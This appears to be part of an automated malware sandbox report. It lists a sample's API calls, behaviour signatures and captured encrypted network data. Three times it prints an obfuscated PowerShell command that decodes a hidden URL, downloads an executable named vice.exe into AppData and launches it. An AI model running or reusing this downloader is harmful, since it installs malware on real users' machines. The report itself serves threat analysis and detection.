NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

checkip.dyndns.org

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\vice.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Process (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,38461,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object (GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,38451,38457));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei=38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PENpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457,38457,38453,38456,38399,38388,38388,38451,38442,38460,38448,38390,38387,38456,38445,38452,38453,38388,38426,38426,38446,38456,38443,38448,38421,38414,38388,38459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice.exe';LgYBoZgyc $LdgHFwF $FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW;

cmdline

powershell.exe -ExecutionPolicy UnRestricted function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Process (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,38461,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object (GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,38451,38457));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei=38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PENpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457,38457,38453,38456,38399,38388,38388,38451,38442,38460,38448,38390,38387,38456,38445,38452,38453,38388,38426,38426,38446,38456,38443,38448,38421,38414,38388,38459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice.exe';LgYBoZgyc $LdgHFwF $FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW;

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\vice.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 3, 2023, 9:22 a.m.	show_type: 0 filepath_r: powershell.exe parameters: -ExecutionPolicy UnRestricted function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Process (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,38461,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object (GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,38451,38457));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei=38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PENpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457,38457,38453,38456,38399,38388,38388,38451,38442,38460,38448,38390,38387,38456,38445,38452,38453,38388,38426,38426,38446,38456,38443,38448,38421,38414,38388,38459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice.exe';LgYBoZgyc $LdgHFwF $FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW; filepath: powershell.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 3, 2023, 9:22 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 204 events)

Data received	[
Data received	WdQ©O±XDV&ïDÔ&#ñÆfrõ/:ºDOWNGRD »þW§ rKºÄ¡,äÝâV0oæÀÿ
Data received	p
Data received	K
Data received	GAðI/:mügòÑÝ¶4ÎJ¨Ó:eÒ76ÖÙ}ÒX$Õ2²tKßÕ³zmüòÞT;ÅÛ©%Ê)EûË¨<6¢mîª@e2nzfAàÓáÜT*¥jÎsÚâCÜg"í%[CD7³¼zfA Ê(àfáüÂÙ+(øÞÜoEÞät@yAç ¹þ´J9¹+Þ÷Ù¥©X+àP ø³ñ%Xq\¸©²?Õ(sB#3ÜQdFaý®¸qii.O-Ù¾ó6¨³~Ãn=êZÝâ¨ÍorßT&M¢^íoEé3²Z!âWí3&"õú¤>`âZ]~~uW"ûÉ}òþÈfèÎhñ-pùOd¿vt£
Data received
Data received
Data received
Data received
Data received	0
Data received	¿f¢4ïÿ.ïR !òFSúÙF¯Ãî;Ø÷<NP³cÐ¤¡û=ÜI@
Data received	p
Data received	Ãû ÆãwQêÞ.EªÔ=wß Sx¾¯çl{t¯Çêníçî-³ÀÅü}ß$ñºîiÃ2ê{çóé·EA^SQÛºÃN3"¦&Wv:&-"á}Ñ-ÇZv8Öå{çNLÇÒp;Ñ"L²óÝRZÆ^Ò1 }£(}¦ös¥ØÇGÊC(%uÖ£Ö¹ÉqÃ{ð\|Ièh¤)ÑÇüeÖî Öÿ>Ûß¶äP{GPZ·'é6ÄHÎ¼ÉîÛê£¹eæ÷ÄR/+"1hí#9ÅÒíJ¦Ju(f.s?!¤æL~mö£I§yOá3×Å´ëâoÌóqÁgS(Î:4A¡ä=Ìvd¹3X<yJ¿uWýôà4jMX?R;îþRjë\|ÍÊ=aOií'#ó±/PÄ}\|øO{}RÈ9y eAÈ¦LZIº«[1±ZVêgiF4bcU¦¸{îjñÊJjôÜ> kfBVp0Z4ÕbF¹D!;N¹ÞÆvÀ²\|Tâuy¦ýågÈZÁíÅ'¢yë¥bÖfÎ ¬Pá±¾iú¦øYç÷(iTw¥ðùµàSØ+Üí9ÈÜV`8Óp5^éõÇXµc£$]ééf#ýø4§UÕoI\|ww¿"îÈªóéØNá¤ÖoýïPÛXë4«ÐñfqÚ9q\|ýÖ2ûÿXhajOã¢ýÄ¹uÏæÊ?qäÚí~Ö(5ÜXs/EÕûv *²É÷+ðHA\|w³ ´xï%ugö©àÄr§Âf16jÕß¹>!iz;õûÀÉÂ_'^Kf¡á³ÕÆÃ×YÝ¹ã¡´¶²0²ZÛL27W¥æE;¢»&¬OA6:3ddSéÞºz0góÉÞÅþwt i0ì¼?qU(ûÅJ°³ ÎÃÞg3²/Á¾2_TkwÚ¼öRõ,w{SýüÚ¦ÎÂ®à{¸ðLa ÏPÔª·Ïðky<Åtd°Æl6û&¸ÆØeÞ£ÿÎIÃaâòMX¿°°«öý>j)s2~.(ÿ-í<Gä pLÆÔ_ñó§z£3ÄÂníäÞoÇK:T¸ÔDrGJ·S:@É¯¾ÏÖmF ,âÇ« ÁTÇ+5,î@63Ëâl"üSãóE«»FHÞS.xy/ï `·»Ú¡¿öÔ³nÂßÍFïkHv©xÏOå@o©ykÓÞÊQ×ÕG Es±ÛáçtÒJÄ§¶#Ù¿°s\EÁØ1¼4÷ùÒ§áû2¦!5JÓ±M¯xvkWÜÌ¬CûØ(Ö%y%ý5Lb=ôò¿)1Ò/dù"E:zÀuU%{,ÂÛGªÞY/óÒýÄ¨BS`>SUZìö¥ÒJ©Á+ - ;ïD5 óU4ÿàF\|døÌÇôKµÐïehô)[ÃJì«p½ )dªÄÐÝ7S'OÓD½ ÆÅ#£¤jõ÷Ïéíu²«Ö);s0{b!ù# $ßç ¤rNyë»aEÛÜñòxTjlx$ÍÂV%+vI#1ØÝ^pÍÀûéÚc
Data received	KzÍÃWÀàk£»?dFP@æïõòÕÏ0zDúC\|Gc½,æüq£»#,\|ø²K¬M7ð~ø«MBÆV¡ÜMÿá¥JPKJ «Zåzï©÷ÏÿÉ¼ÔÒÀà±t}±à3)GLiúÈ, \|WmA¦@µÜ«H»¡àé¶ñÊ;¤W®½Ê¬$<4 ¢+ÎFªôÐN#Ôµ×î®¡Ç M>zÂÈÓ©Ù°ð`ájÁÙX!ãé"ÉÕaäJ}]·Äï,ÌÞÀs×Î£ñn-x´Ö¦Y¹H»v)¨újmÐ_lîó$ãtÒ©JÃäp$¸×kíXõÒ"mBWÀÉ%ZêbP_£9É6Íçåó/ü3»ÿ0I¼ãÎ$È¾ +®.Çt'°å"£ÄÊÈ;ôïæjß¢ñËÛöâï#µ[ç6EDôdßú¬fÉ´l[ÃþlzÖÅq£¢Ì\|ÖÊ¸Ï¨õPÎ¿ÝTþè@¤ÁT¬ÖÌO°QìÄaØo£=÷ß÷9ä¥k¬"ëL áxDt¦½ëîÏ¥§hO_ñoLÛc 2åàØýD<È¹ÁrÒÏºÍÐèÈWöõ·ª¢:Rà\|¦Æð<Ç¸²ykô ÄR §GöÅl§ÃÂãîÎB[é!É0ù\þAoÙØ\Þ#Æ;¡KÈMõ§º®ø.«lø7K$lÇÀOk.¼ê1ç[ÄÉy;¥ûÀ2éÝM6Iò§\¨ÍoÖA®)ò¯ÅhR#·KëÄÃö üKLgø'> uwæûÛÈµd8<EÚQ¼}ÊÂAKdaäè[ÒÉdÎ>R¡ÝqäïÐÍõÿ?¬<kî§R¸oIÏagNCHJN© W5 Ì'Cöø#!H£¥&Y?æµ¥J_XHHî\± kc©ôå½òx ´.ÈoQ#×P7uöFÕIâÌQH/k«\|ÉÝ~<ZN»¾Ë.={ªLÚSÝÀ'AÔéø©¢ s¬¼Lwnt/f¸(oöQ·ÝsèÿáåW YìACüÙ°ÝÕW(¡<&wöMÄ¶GWÙj¥È§«\ü?Ä¦ H>]û46³$Õ¶ZX¿ÃÑÅL1/q:nã7ùòÖñÌ¤§/öSú]ÉÞ <Û55$ØµøeÉkhZ¿Ö¨2§£¸d.¿D H¢ÞÐf3m`ãV³÷xâXÀßL÷òÂ <MåÚ5LÛÅÆïdßgÚ\þ¯0H ¾w§ëÌ2ý`ý'Ìum?±ÏÑ<Ý3ÞÜâIûÂªã¯×ýo¨ì4í0W6úÿyãÍ]í.Üám£IÚZÒ {üf°Ú³rôI"Ò_nªkæ+¡à(@Êx/ÜêÆ4fnÿ{à¥ÉôÔAÏ·¥ßÔÃ>7Xú$ DÔX1Dèrþeðº7BEVyf¿;§V¥"R(OÎÃÌRmóÚK¤f^Iù¹Á{ô/W}_ÍA.öæ\|Z]ü<ç.» ÊNA¡èëb¿ÕÄöu6zM&Ô¬ÌÃõrøãnú ¾÷bôOøGB4Zbà??ÆAÂÃV0D[ÁUÍÿµK·Õµ%xâ\aOS»õNJÄÜJB{2ÔR õî¹#Ó /Èüg·á¡!gõèD
Data received	ñ;ÅBé§}DKã¤#ßìXi@Åè4ºJ!höaÔ¡ÙQÅü¹kÇÍ®ÇnJ£ùS` þiÆÕµå\|ºîº¸ÒÙ¦tÄÝµT¼!ß§¼b8áHD'µãrÕmx@á¦ðGMbV¡èûÐ¬$,ÞÈ°Å8îxD{«ÍãÛÓbLÃ\)bÜXÅÏÑ³óÄïik\|J½B¨\uè³Oç¯´O Âc-æÏ¯ ? Zi¼gÕ»A)Uyî¢£ïûZ»ö£e]Hê71Ù°à¥p·kSº@N<¶Z·à[»dJî£trP1ºàxTo+ë¬\\|2 õGX{iENï;ËsÐ]éC@¤¨³=êB.çL<\É,p;£%§ð{ÛêjÃP%YÄoªLïgéHP(´÷Ö,è8\|+þtòÏÃè9µSLt1§ëÄ]øêròñ]I§»Ùç»ÉÜnRPÏ+üì8ÇPIÔó;à:!þ¯U<3lg1Í ÏRG5¢¼hÚÏ£;0D²2nÌÅ³K ½eúÆiw#ZÕH:ÁÈL`ÕÖ®ÿÄ¥µb½.P¬ìcfru²B4æà®[ð'r¡x0ÈfYT 7ðVXAYÃE¾At±#I{[xìT¥ÖwH0Wur1¦gÔBCÒáÁ(ÿ+=Ö7M~Céoù¥ËKé¡R0FtÅWåéÊT@kdz"d_ßÌ¥¸?ûu&RyÈ\s}WÍÞN âËRST×MàÞÏf>&ëxR£¿qàì}lmMÊ%\&Öwu¾·½q )«R¢L5¶uÖÔö?äuìh¯÷ ´VØj"Ç;ºÉFÎÃÌXÞQëÐ°eHòÑíÇã_ ¤C ½ùïæãóÂïìÇþ,Nðþá>8Ô0 SJé³ú"ÒèAï¬Ì¥q`vðÎRÉ0ùd<O¾_!6»YÀ¿MíØð>Íì8BzX¡àÄÁø0x\h^%¨ØgEiå±\iÌ¿éYmÅ0$K¦kGæ¡pQËN>ÑÐ-á¾£4»<Ä+±tk(æ\°Z!T¢Kþ¼`ñ£s©Þ)È=?æöiPFãúÃúj>!Ènû-± y>²¢#á¡óÕÁÍm+)¨<JÌD§¯M$ný}t<81TÏ;éýn 3¡bq[B«Y¶LÚ¸Ú¸sÙÍ1ÈwÜáÍp£¸)fïìªvN´Îè>[iëÙà8ÈÕ<Ö\|é Bn Û¨¡qC]+Ñ÷NÔ¡å®DH¼ZE£ßpE8vEûSÉûEÿ×½ùfÙ¿®EZy~ÿB(.MÃXëSCUºvÏqë/«xµø¹XïBñ¯Ö?#qCðïh}F<ÿGÂÜtiît?æ³¢ý·ch9ãákÌ£U>(»¾!dä<%mÁ>\|0F!k%ó#:«Zÿ2ÚB¾Õ_þw¿¯N¹BÂETpäWÒ~þ?Swöqc v×åµF²kcsxcs¡a·i~dY\Z?ï5Úú_nÂi¹b&²F³æ/Iä npI3 ÚM¼cwÍs +Ï(áÀÌÀ¬ÿ´ÌïÖuÓ
Data received	_lwß_àu>ï»çHÚþÇñÆ?Cë¼ UÈçÇJ>8èèü^ öo5Äv;~Äe&ÅÎF]Ky5Dfñ>.í®J¶{Áâéíî¾ñ0^Ì)Çii_ÖÚÂ Ò%ÛmÑ¨¶þaÿè tÔZßÚÚd´ñCAxr±h¬w¦¹HW\|PÐLCã¹þXÎï âËÜÆÆ õ(}úô\NuÜÿ Cúf'iéàG»Ü{©µ.°`98ðô:2¹kOOÔU§×<Ai«HüÌe`¿Q+â"<ôÈ¾õ\|ô¸_vÐï $NÓ¢H i°óØ^¬ó;ÁÂ©e¶ÅÉÑ?Ôi±ÎìÞÕÅY]0`Z^rEPC~âÃvO`pIa_õFCX%w5Dp¶<¥yÆÜF7ü:å¬ëuîH(¢Ãn ÆH®â^¬SÎSb0P4P¸j]ãMvRÿHÃ@m8¦Âò9ê·Êº@Úh²Xïî§Ù`ï¨f£.ðTúÄs^÷þ®é§%aÎËCbi@Zê»jéròà %ÌW÷MÝ1]ÓÃ¶¬£+Ò{ÎáBÝ¾À!p/±<Xð-ËÈÒÿ\|Þêçowí«h:»ÜÌÊ`%ø^ôi?:Ý?OÕ ¹X[ÔÞ@bØÁ¶L+¢j6dú8"÷ìÉ @ËøíïÔ£Àþ¹ ³ÀÒEÜ<èq»NõôÛUïÏkÓyOb#6=ÞëR»r®õ¸ÕÈg¤øF!BÊ×È;KVõÆAÁr«¬m¾xÎ¹¨ÐëÐýi-Jù¯àõx-g3\ïî=]þsyzkzÓ´ºÕéÙ>ïo¥bG>Àô$)û$ñä`x½g¼e·bfãv[ù½qSn.ÿò.ÍpÖF7òRG ËÁcjÇ;Û÷§ÛËàCW ¾à[tàÿC®øg«;}çÀî¶òËvª>æ½x -~lÒ7BÎÂ_çàBÊ<<L,Yª#Bdbs¾k ê~Q@M±ç:·í.ÞÒÖÀoÚdN?«Ì®ùÇ¡m®¨bfKóùÁ>p¥\#à7HØM¥<WüÖfI ÂtÒÅÀBº ¹&¸iÌP8¯dùó½Ë+¿ç[÷ykEâÕñþß#y÷I-Øp;êvÿåNeðêIõDÕÍáxµXõB@@Ïær ú)X6BkeÖåQwFõÓ ûW÷-x(Tó2uËNñákbß¢÷3]b» 8Ë¸r(Hr>c¼sÐätÎI¥+aørªaå£8Ñ²ÈLjÉMBGGl<`Ñâ7%¶e Í)¥F4dTYvY¦üYÖQOÐ¹MH§9"¥e²þÖ7Ùs~íÿöÍÎ½fÓø{zàÙCE_ãã$m¨»¥Hõ:\mjbNwsE»®r<ÁèM{6l\¶â!àï¥ô¾öc«oAßW µfÌ¾ì\|:²Ê¨J×j-ûE).½Ì ææ5^5´8¦*{§¹Pu$¬báF&ßìâ8Õb}WµÔÚõUm®æ«Ë/÷,M÷¶âó}ë àÓÕÓíØyN»Êa!#ºJ¶µl{ZI ÝÂQX¸)&¶z6Ú
Data received	!Kþ^«gù=D6öÓ¸¸VJ« ¿ Ínø)nXÃÅuW âàA,s1Åf÷_>;söfnfè`ªÙÿüÛÚ{BÿF\|5 «¬Úñè¿ï"Skv£q+òõÐjî¥¥H.Èwm)ÍÅ¹!NjsBüÍ§^ÞJëÙ®mÿéQ³ß&A sbßõK~Ca³IÁ#¢m_K//ÜÌ« øì" üBfsWÅxæ<Þ×ªÅ¨Òâç÷× ¬Å3Ãn#nTpU¨,E°qÌwdÏNÏÀë½PEkS}gÎ&kiºäÉBØÿN,±hD7À¾gé³ºGü] þun´Þd÷}>/L?:´5híeiXÁ¨,Áövs1¼zæÒÖøºù:Ó·æáJ$Ó57$ðOñÄ+r©óx ¼cÃ£Û[<vyE ëÀ-»çF«Pãß®Â:ÇGQã'Ôc!ëpXéÏ+ViÖ;aÀé£ÚO~ækZGL ªpCsJ¼³¹\|æ» LEò©º¡daæ¾UUý¨BØçf=Èw;m[\;´F#$ÒKui}JÌ×("1LWÀô&ÕªîìæÝ÷fÂnl@Gr3ö¥FÓ`·c±/·îÏ"uµ¥çU)®uÀÇÑÇûA»Í¸TÝtÙßç<íÎê1ºàC±¤ZçdhÑû®psêc¬Èá ÁºßB1Óú»=ëB@óOxs,ÄGKhh6m7x\|ÓJ,µ>L?ÃjÔï0x©:öþÖ®Ì9gÜÄóv¨æ£¾»ëzØ:2kÛÏ&;s6×½âÖN;ÎOaÓ)9î5Ï mÑ¤IÍZ5UQuØ7÷ÖzBFÿÐIêWõi&Qzü9I®âþðòN#Âr3Ë4ìPéXý7@n\|ÜÕdÑÏûHÈ 1+ÆÓb¡ß@Ø\³K0 ;t#/^lzÌÛH8ºTÃñíuEqxkQÉv¿71±Öa8àövl¤ÛÑd?ÏÒh6j3ÌÙjÚeHÝÏj¼,¾d ºvÅqÍ pUG´\|1\zyÃ1Úñrèy;C`¸W¾ú¼¹Õàb&Ü&ÖýÆêjÉ¨m ÆÝÔ;c\£ÊvY³ýbjÓÑ¤^D½¢ùÂNVÌÔ h²×YGo°øNOPeæÑ P0ývADQºÿÜYþöýóÛ¼§/ #h%´+´¿=9ö1Ú5&ò+hóÔé)Xën{½.øË,deø¢GI>¨«Â'x^h>Àk`òÚ Ï·HJBP¦qAÿ:iàr} vövø¾ ÔË&n·C9¦£~½pÈÙI.5¤~#/Èá×ºÏí"´>!hÁ¯jMNâ*ó¿~=Ú,âª ´ð2½Ì\._¸§ÑhÂÉV µxéTÐ\|°k_¾ÓÑïEÀHõë-ÄÒö9.A.`®= ¥ëÔ9K¢8Ý¤küeúïi@A?íe,$6·àÅ½JXÙ£ÀXQSsKÛEk÷=wwfÊOÚÚ¡1ÍèF¹í%þ3òFùD£îZnh
Data received	q#GÜ§x %O£LU¦£o;æE8^áOÌöÞ»GËî0¸æàäkA¤>ÁRg`ûK«9vV¼Yi¨1@« Ï¼»ÀR?\|óýp8¶[¶v /r´iÖlPK4]²?ò!Pý²j»QÌ<.uÚÏAb!·4U ^oóï3¬ÒÃ¥g{¥-»PGka,¯oecp%o?\|RìPÙö^lk~ »rasSÞ$D.mø}ÄJ©\þO1ì¬äfùåPL^;ÿIë+x»rZ¦YßócskÎsrÐÁ%Êu'Ò1cWí+bÔc·¬<¾ÿnÏÒÉê:2îß#ÒUoû ³èËêá»ØáXqäzÎÝ±ÞµX~ìää{vÛ@7ÃºO0¹õÁÍ@%úÏÊË,«ñÛ%¨`+ÒA×L24Èï#îÙ`báØ£BCÚBÚDtÎk²¸ðq×ØÂúÒ ÖÊ'Ðö2yÐß«'zqÎ7¶ÃÑÅSðL¤hFStPCRð<½m@?8Áf¿Æl¼qS`~ö¤£ñÃè 6#n¿H3yË¶gÈ³9o>` K qv_p »XIK27èáãÓ)BSóiÈÄt4}Q;í½ÑÓªzº@\?Ûc5)¶h3AO8÷ìIØ¶,Ð.:L§Lì!0¢}9¾e@ ç»ÉwÌß³4ÀWñ£"@©×sD ÍæÆ2µCÅ¹a±·ùo¬q¡´qld{-x®:-er,½=ø`-HÙä]ù6qVuëUÁÝ¢,l¹!ýçÝ)]áæqùáTøTÛÄº°2QøZL Q]{R"íý(MrdÍ<ÊcÒêdW½«{ü 8ÔGZ nëÆ 7X44T4½Ü7íuL øä»Qjh^ÙtvabÔCÉxÚÚõãn[¯ù¢½=dZÛ\ÄW+;)ªs~é}+ru47 ´òýÈI ¦5vvúXÈó_¬sìÈÂßVAÒÑî-¸ã-¿ÏJ Òf÷£+ôBÖñ¹¶[©N"½¼®°å%Ä`)å¥¸u×c&¢sÔdþÕ=+å)Õ?fÙ<kéDÊi\|&ÿÂð««TK^ZþeXJ·ü× ¹Ë½Öwúÿ¿Ý{!ßHí¯yOàñ ©o¦¨âµRdquÅr;V?»àP3O¡ý±HVR<8Ýâ$eµð9%ÉïÔk2¾¿ÉXBfUé) }ÿ½ÏceèÎ>ß\ÒçÈ¼²-4°´^ô7AjÜö³ò¸èyQFÛU»«á+ó ú ü+¬ub)2®òöêeâå»¬hrú¸EIÒ?à6J¢]ÐhÐÂ\|ÄC§é[àßËð&E½"ò4x#þ¹õV²{5îÍôSFÜ( yaÅÈÚ!2u@é:¹%[CÌ^óêÌsÀ c×4GC$b}.'ý?¾OL>XaÈeÆàçÑÅ3`6 èúõ/píµµú!ôÈÝqçQfÙµÜZñ@wFte¢+ÑÈ§m©qs{ÎÕÅ¢Å ÓSòE¥ë¦'ï?S
Data received	ex×·åEwÆðôãnPÅòªZHÁ¸Õ¨¤$O H×ü7ðP À9ÃñQ5`8iûR;µÚ¡+ûg}~þ 2ÁT Ztô0£u·ò/>Ã´´¦gî®¸²^<±S\+øïÌbµ%ÂR"rÌ3°#Ö<7sõ6u@d<ÆäUKÈ yñ<FVðÛ©%JË'Ç®¹ÜÂ8Èu7kzh-FjÓIfßcv.^snçö ¿g>°$H x $ÇÐ¶ Æì¼î¬=ö,òlûIÕDÎ ÃÇ¼-õ øÇBJJ îÈ`^`§õgw} ²â}n<Á ÎèR5íd+^PÒz\|àÂàlxÔóG ± ðÑ<òbÅ¥D a,I&$7ÿÀ±9·EÈæ9¦!gO:4sÞÈuebÜÝx_I±¥V7ÐÀUË¡ÃæÞK6¨îår+V.ØDbMXÙ~ê¦»8ÑÅ^}÷jbêNNÉLÚçGBlG;Ô(iù ÅØÑÂ²#.Û%È÷-ûÿ;Ú§RýEÿýêvI¹×¶0oNüõéËIepSåÛ3©6òÓö«<[0J[Q3mæhyA2èÎç`QA/¬ºq.ÁXª¼@ÃÛÊLh·Ò½v¾Í?_?'=£-¢f¨%ZÄ]Ã®©O äN;âÊëoÚ ¯²ù®>dû 7É®ýýud8°ñ,Vûà¸%¿=Ø±Íi[Ëï9k_¹Æêl9}¬l\VËy nÛº©97yïdÎwéú¿áÜô(cÖ 5ÉFçuC^\`iÂ@©V+£Jk dÈh(6J/Ç·om²³ºL¤q±<a%ýHOÜÌk4Ùê6&É3q,ïÎo®¹BÜ½î°=W³vFgaVöHÃ$Gïn4ËÃ-L8ô©W²4 -ãA /Ê]#óK·¼IaÀ§0ñÉö½´!÷ æ·&¼MÖ@ôLS1Ç+ìåå¾pxjGº0ßË¦+Aì£V³°·q¨slÌ\|Ý¹ Gßú8kS×êøhXýwÈ8ü7@MjhÏÏfº`âb×[F5dõèêAâ¤$ëZ½ñÑiÂ¡aK)#è%b½ ¤%ºü×¼ûû'«ÎT0®æ&)§°¾Ú{ÞU¨;®ÿÎÙn[}5¼áom°Ròk)ª@:+ßMÉÎæ¥ðRê¹7\G@ëfªÖj]Æ±sJ+aÍä\'¶Õå[\|ë8¯ Á1æTä9ë¿-ZX ffç\|úÖgï.0]Ñ#ö®ÒL8Ótþ¸zcÀuöN-¸u¸$ÊU÷²¶¹æ5'îh³}ÕSYÌýò$dõî§B_`åÕ¥>H ~&~pÆº>Vïå<¥\|Ý¿¥ª;)Ì0YÁV¤Úýô4³BãájðÿD¬yôÞD`ôý÷/ Ø3 \XpÓSÂ8Æ¿eú@Ï¸¢V@G.ØÇA(éD_nçCä¾ÿoêÎ×Þ.Wiéåì* Ç{¹0±óYôþK{ÚzZZ7B@ÿÒÉØ*ï U³k~Ã r
